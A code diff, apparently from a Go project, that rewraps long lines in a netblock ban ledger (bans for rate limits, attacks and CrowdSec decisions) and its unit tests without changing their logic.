||||||
// BanForAttack bans netblock at now for a clear sign of attack, with
|
// BanForAttack bans netblock at now for a clear sign of attack, with
|
||||||
@@ -331,7 +350,15 @@ func (l *Ledger) WouldBanForLimit(
|
|||||||
func (l *Ledger) BanForAttack(
|
func (l *Ledger) BanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
|
return l.ban(
|
||||||
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseAttack,
|
||||||
|
attackReason(notes),
|
||||||
|
notes,
|
||||||
|
true,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForAttack returns what BanForAttack would, without making the
|
// WouldBanForAttack returns what BanForAttack would, without making the
|
||||||
@@ -339,8 +366,15 @@ func (l *Ledger) BanForAttack(
|
|||||||
func (l *Ledger) WouldBanForAttack(
|
func (l *Ledger) WouldBanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
|
return l.ban(
|
||||||
false)
|
netblock,
|
||||||
|
now,
|
||||||
|
time.Time{},
|
||||||
|
CauseAttack,
|
||||||
|
attackReason(notes),
|
||||||
|
notes,
|
||||||
|
false,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
||||||
@@ -348,19 +382,39 @@ func (l *Ledger) WouldBanForAttack(
|
|||||||
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
||||||
// decision for <scenario>", the scenario that made the decision.
|
// decision for <scenario>", the scenario that made the decision.
|
||||||
func (l *Ledger) BanForCrowdSec(
|
func (l *Ledger) BanForCrowdSec(
|
||||||
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
netblock netip.Prefix,
|
||||||
|
now, expires time.Time,
|
||||||
|
scenario string,
|
||||||
|
notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
return l.ban(
|
||||||
true)
|
netblock,
|
||||||
|
now,
|
||||||
|
expires,
|
||||||
|
CauseCrowdSec,
|
||||||
|
crowdSecReason(scenario),
|
||||||
|
notes,
|
||||||
|
true,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
||||||
// the ban: what observe mode would have done.
|
// the ban: what observe mode would have done.
|
||||||
func (l *Ledger) WouldBanForCrowdSec(
|
func (l *Ledger) WouldBanForCrowdSec(
|
||||||
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
netblock netip.Prefix,
|
||||||
|
now, expires time.Time,
|
||||||
|
scenario string,
|
||||||
|
notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
return l.ban(
|
||||||
false)
|
netblock,
|
||||||
|
now,
|
||||||
|
expires,
|
||||||
|
CauseCrowdSec,
|
||||||
|
crowdSecReason(scenario),
|
||||||
|
notes,
|
||||||
|
false,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
||||||
@@ -505,7 +559,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
|
|||||||
// about it. It is not a request from netblock, and leaves when it was last
|
// about it. It is not a request from netblock, and leaves when it was last
|
||||||
// seen unchanged. It does not have bans.json written at once: the notes
|
// seen unchanged. It does not have bans.json written at once: the notes
|
||||||
// are written with its next write, as the counts in them are.
|
// are written with its next write, as the counts in them are.
|
||||||
func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
|
func (l *Ledger) AddLookup(
|
||||||
|
netblock netip.Prefix,
|
||||||
|
asn, asName, country string,
|
||||||
|
) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
@@ -654,7 +711,10 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
|
|||||||
// keep is true, the ban is not made, only returned: it is the ban that
|
// keep is true, the ban is not made, only returned: it is the ban that
|
||||||
// would have been made.
|
// would have been made.
|
||||||
func (l *Ledger) ban(
|
func (l *Ledger) ban(
|
||||||
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
|
netblock netip.Prefix,
|
||||||
|
now, expires time.Time,
|
||||||
|
cause, reason string,
|
||||||
|
notes Notes,
|
||||||
keep bool,
|
keep bool,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
@@ -675,7 +735,13 @@ func (l *Ledger) ban(
|
|||||||
}
|
}
|
||||||
|
|
||||||
notes.Request = notes.Request.cut()
|
notes.Request = notes.Request.cut()
|
||||||
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
|
ban := Ban{
|
||||||
|
Netblock: netblock,
|
||||||
|
Start: now,
|
||||||
|
Cause: cause,
|
||||||
|
Reason: reason,
|
||||||
|
Notes: notes,
|
||||||
|
}
|
||||||
|
|
||||||
switch cause {
|
switch cause {
|
||||||
case CauseAttack:
|
case CauseAttack:
|
||||||
@@ -765,7 +831,9 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
|
|||||||
var first *Ban
|
var first *Ban
|
||||||
|
|
||||||
for _, length := range lengths {
|
for _, length := range lengths {
|
||||||
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
|
bans, found := l.netblocks.Get(
|
||||||
|
netip.PrefixFrom(client, length).Masked(),
|
||||||
|
)
|
||||||
if !found {
|
if !found {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -798,7 +866,9 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
|
|||||||
var found []*[]Ban
|
var found []*[]Ban
|
||||||
|
|
||||||
for _, length := range lengths {
|
for _, length := range lengths {
|
||||||
bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
|
bans, ok := l.netblocks.Peek(
|
||||||
|
netip.PrefixFrom(client, length).Masked(),
|
||||||
|
)
|
||||||
if ok {
|
if ok {
|
||||||
found = append(found, bans)
|
found = append(found, bans)
|
||||||
}
|
}
|
||||||
@@ -852,13 +922,15 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
|||||||
var last *Ban
|
var last *Ban
|
||||||
|
|
||||||
for i, ban := range held {
|
for i, ban := range held {
|
||||||
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
|
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) &&
|
||||||
|
ban.Lifted.IsZero() &&
|
||||||
(last == nil || ban.Expires.After(last.Expires)) {
|
(last == nil || ban.Expires.After(last.Expires)) {
|
||||||
last = &held[i]
|
last = &held[i]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
if last != nil &&
|
||||||
|
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||||
lastLength := last.Expires.Sub(last.Start)
|
lastLength := last.Expires.Sub(last.Start)
|
||||||
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||||
// that it cannot overflow.
|
// that it cannot overflow.
|
||||||
|
|||||||
+212
-59
@@ -27,8 +27,14 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
|
|||||||
length := time.Duration(hours) * time.Hour
|
length := time.Duration(hours) * time.Hour
|
||||||
if !ban.Expires.Equal(now.Add(length)) ||
|
if !ban.Expires.Equal(now.Add(length)) ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
|
||||||
t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
|
t.Fatalf(
|
||||||
i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
|
"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
|
||||||
|
i+1,
|
||||||
|
ban.Expires.Sub(now),
|
||||||
|
ban.Notes.EarlierBans,
|
||||||
|
hours,
|
||||||
|
i,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
@@ -65,13 +71,27 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
first, _ := ledger.BanForLimit(
|
||||||
second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
second, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
first.Expires.Add(tc.gap),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
if second.Expires.Sub(second.Start) != tc.want ||
|
if second.Expires.Sub(second.Start) != tc.want ||
|
||||||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
|
t.Errorf(
|
||||||
second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
|
"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
|
||||||
|
second.Expires.Sub(
|
||||||
|
second.Start,
|
||||||
|
),
|
||||||
|
second.Notes.EarlierBans,
|
||||||
|
tc.want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -84,8 +104,11 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
|||||||
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
|
|
||||||
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
|
ban, _ := ledger.BanForLimit(
|
||||||
bans.Notes{})
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if !ban.Permanent() {
|
if !ban.Permanent() {
|
||||||
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
||||||
}
|
}
|
||||||
@@ -106,7 +129,12 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
|||||||
for i := range 14 {
|
for i := range 14 {
|
||||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Expires.After(ban.Start) {
|
if !ban.Expires.After(ban.Start) {
|
||||||
t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
|
t.Fatalf(
|
||||||
|
"ban %d starts at %s and ends at %s",
|
||||||
|
i+1,
|
||||||
|
ban.Start,
|
||||||
|
ban.Expires,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
@@ -129,17 +157,36 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
|||||||
t.Error("the first ban was not made")
|
t.Error("the first ban was not made")
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
again, made := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight().Add(time.Minute),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
|
if made || !reflect.DeepEqual(again, first) ||
|
||||||
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
len(ledger.Bans(netblock)) != 1 {
|
||||||
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
|
t.Errorf(
|
||||||
|
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
||||||
|
"want %+v, not made, and 1",
|
||||||
|
again,
|
||||||
|
made,
|
||||||
|
len(ledger.Bans(netblock)),
|
||||||
|
first,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
|
again, made = ledger.BanForAttack(
|
||||||
|
netblock,
|
||||||
|
midnight().Add(time.Minute),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if made || !reflect.DeepEqual(again, first) {
|
if made || !reflect.DeepEqual(again, first) {
|
||||||
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
|
t.Errorf(
|
||||||
again, made, first)
|
"an attack during a ban gave %+v, made %t, want %+v, not made",
|
||||||
|
again,
|
||||||
|
made,
|
||||||
|
first,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -148,16 +195,26 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
ban, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{Requests: 5},
|
||||||
|
)
|
||||||
|
|
||||||
for range 3 {
|
for range 3 {
|
||||||
got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
got, banned, _ := ledger.Check(
|
||||||
|
netblock.Addr(),
|
||||||
|
ban.Expires.Add(-time.Nanosecond),
|
||||||
|
)
|
||||||
if !banned || got.Start != ban.Start {
|
if !banned || got.Start != ban.Start {
|
||||||
t.Fatalf("check during the ban gives %+v and %t", got, banned)
|
t.Fatalf("check during the ban gives %+v and %t", got, banned)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
|
_, banned, _ := ledger.Check(
|
||||||
|
netip.MustParseAddr("203.0.113.10"),
|
||||||
|
midnight(),
|
||||||
|
)
|
||||||
if banned {
|
if banned {
|
||||||
t.Error("another netblock is banned")
|
t.Error("another netblock is banned")
|
||||||
}
|
}
|
||||||
@@ -180,11 +237,23 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
ban, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{Requests: 5},
|
||||||
|
)
|
||||||
|
|
||||||
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
got, banned, _ := ledger.Find(
|
||||||
|
netblock.Addr(),
|
||||||
|
ban.Expires.Add(-time.Nanosecond),
|
||||||
|
)
|
||||||
if !banned || !reflect.DeepEqual(got, ban) {
|
if !banned || !reflect.DeepEqual(got, ban) {
|
||||||
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
|
t.Errorf(
|
||||||
|
"find during the ban gives %+v and %t, want %+v",
|
||||||
|
got,
|
||||||
|
banned,
|
||||||
|
ban,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
|
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
|
||||||
@@ -192,12 +261,21 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
t.Error("the ban did not end")
|
t.Error("the ban did not end")
|
||||||
}
|
}
|
||||||
|
|
||||||
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
|
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(
|
||||||
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
|
notes,
|
||||||
|
ban.Notes,
|
||||||
|
) {
|
||||||
|
t.Errorf(
|
||||||
|
"the notes are %+v, want them unchanged, %+v",
|
||||||
|
notes,
|
||||||
|
ban.Notes,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
@@ -230,7 +308,10 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
|||||||
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
||||||
|
|
||||||
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
||||||
t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
|
t.Errorf(
|
||||||
|
"a kept its ban of %s, want the later one",
|
||||||
|
ledger.Bans(a)[0].Start,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -263,41 +344,70 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
|
|||||||
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
||||||
|
|
||||||
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
||||||
if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
|
if !ban.Expires.Equal(midnight().Add(7*day)) ||
|
||||||
ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
|
ban.Cause != bans.CauseAttack ||
|
||||||
|
ban.Notes.RuleID != "env-file" ||
|
||||||
|
ledger.Made(bans.CauseAttack) != 1 ||
|
||||||
ledger.Made(bans.CauseLimit) != 0 {
|
ledger.Made(bans.CauseLimit) != 0 {
|
||||||
t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
|
t.Fatalf(
|
||||||
"want one for an attack, of seven days", ban,
|
"the ban is %+v, with %d made for an attack and %d for a limit, "+
|
||||||
ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
|
"want one for an attack, of seven days",
|
||||||
|
ban,
|
||||||
|
ledger.Made(bans.CauseAttack),
|
||||||
|
ledger.Made(bans.CauseLimit),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// In observe mode the ban refuses nothing, and stays as it is, while
|
// In observe mode the ban refuses nothing, and stays as it is, while
|
||||||
// Find tells that the request would have made it permanent.
|
// Find tells that the request would have made it permanent.
|
||||||
got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
|
got, _, wouldMakePermanent := ledger.Find(
|
||||||
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
|
netblock.Addr(),
|
||||||
t.Fatalf("a request found under the ban left it %+v, would have made it "+
|
midnight().Add(time.Hour),
|
||||||
"permanent %t, want it as it was, and true", got, wouldMakePermanent)
|
)
|
||||||
|
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
|
||||||
|
!wouldMakePermanent {
|
||||||
|
t.Fatalf(
|
||||||
|
"a request found under the ban left it %+v, would have made it "+
|
||||||
|
"permanent %t, want it as it was, and true",
|
||||||
|
got,
|
||||||
|
wouldMakePermanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// A request it refuses makes it permanent, says so, and makes
|
// A request it refuses makes it permanent, says so, and makes
|
||||||
// bans.json due.
|
// bans.json due.
|
||||||
got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
|
got, _, madePermanent := ledger.Check(
|
||||||
if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
|
netblock.Addr(),
|
||||||
t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
|
midnight().Add(time.Hour),
|
||||||
"want it made permanent", got, madePermanent)
|
)
|
||||||
|
if !madePermanent || !got.Permanent() ||
|
||||||
|
!ledger.Bans(netblock)[0].Permanent() {
|
||||||
|
t.Fatalf(
|
||||||
|
"after a request during the ban, it is %+v, made permanent %t, "+
|
||||||
|
"want it made permanent",
|
||||||
|
got,
|
||||||
|
madePermanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// The next request finds it permanent already.
|
// The next request finds it permanent already.
|
||||||
_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
|
_, banned, madePermanent := ledger.Check(
|
||||||
|
netblock.Addr(),
|
||||||
|
midnight().Add(100*365*day),
|
||||||
|
)
|
||||||
if !banned || madePermanent {
|
if !banned || madePermanent {
|
||||||
t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
|
t.Errorf(
|
||||||
"want banned by the permanent ban", banned, madePermanent)
|
"a later request is banned %t, and made the ban permanent %t, "+
|
||||||
|
"want banned by the permanent ban",
|
||||||
|
banned,
|
||||||
|
madePermanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -325,7 +435,11 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
|
|||||||
|
|
||||||
// Its notes show the earlier ban for an attack that makes it permanent,
|
// Its notes show the earlier ban for an attack that makes it permanent,
|
||||||
// beside the one for a limit.
|
// beside the one for a limit.
|
||||||
third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
|
third, _ := ledger.BanForAttack(
|
||||||
|
netblock,
|
||||||
|
second.Expires.Add(30*day),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if !third.Permanent() ||
|
if !third.Permanent() ||
|
||||||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
||||||
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
|
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
|
||||||
@@ -342,10 +456,18 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// While the first ban lasts, none would be made.
|
// While the first ban lasts, none would be made.
|
||||||
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
|
during, would := ledger.WouldBanForAttack(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if would || !reflect.DeepEqual(during, first) {
|
if would || !reflect.DeepEqual(during, first) {
|
||||||
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
|
t.Errorf(
|
||||||
would, during, first)
|
"during the first ban, would ban %t with %+v, want false with %+v",
|
||||||
|
would,
|
||||||
|
during,
|
||||||
|
first,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// As it ends, a clear sign of attack would ban for seven days, and a
|
// As it ends, a clear sign of attack would ban for seven days, and a
|
||||||
@@ -353,19 +475,31 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
||||||
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
||||||
bans.Notes{RuleID: "git-dir"})
|
bans.Notes{RuleID: "git-dir"})
|
||||||
limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
|
limit, wouldLimit := ledger.WouldBanForLimit(
|
||||||
|
netblock,
|
||||||
|
first.Expires,
|
||||||
|
limitNotes,
|
||||||
|
)
|
||||||
|
|
||||||
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
||||||
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
|
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
|
||||||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
|
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
|
||||||
limit.Reason != "requests per minute over the limit of 1" {
|
limit.Reason != "requests per minute over the limit of 1" {
|
||||||
t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
|
t.Errorf(
|
||||||
"three hours for the limit", attack, limit)
|
"would ban with %+v and %+v, want seven days for the attack and "+
|
||||||
|
"three hours for the limit",
|
||||||
|
attack,
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
|
if len(ledger.Bans(netblock)) != 1 ||
|
||||||
|
ledger.Made(bans.CauseLimit) != 1 ||
|
||||||
ledger.Made(bans.CauseAttack) != 0 {
|
ledger.Made(bans.CauseAttack) != 0 {
|
||||||
t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
|
t.Errorf(
|
||||||
|
"the ledger holds %+v, want the first ban alone",
|
||||||
|
ledger.Bans(netblock),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
@@ -422,7 +556,8 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
|||||||
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
||||||
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
|
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
||||||
|
limit.Cause != bans.CauseLimit {
|
||||||
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
|
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -443,15 +578,23 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
|
|||||||
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
|
ban, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{Request: request},
|
||||||
|
)
|
||||||
|
|
||||||
cut := long[:256]
|
cut := long[:256]
|
||||||
want := bans.Request{
|
want := bans.Request{
|
||||||
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
|
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
|
||||||
}
|
}
|
||||||
|
|
||||||
if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
|
if ban.Notes.Request != want ||
|
||||||
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
|
ledger.Bans(netblock)[0].Notes.Request != want {
|
||||||
|
t.Errorf(
|
||||||
|
"the notes keep %+v, want each text cut to 256 bytes",
|
||||||
|
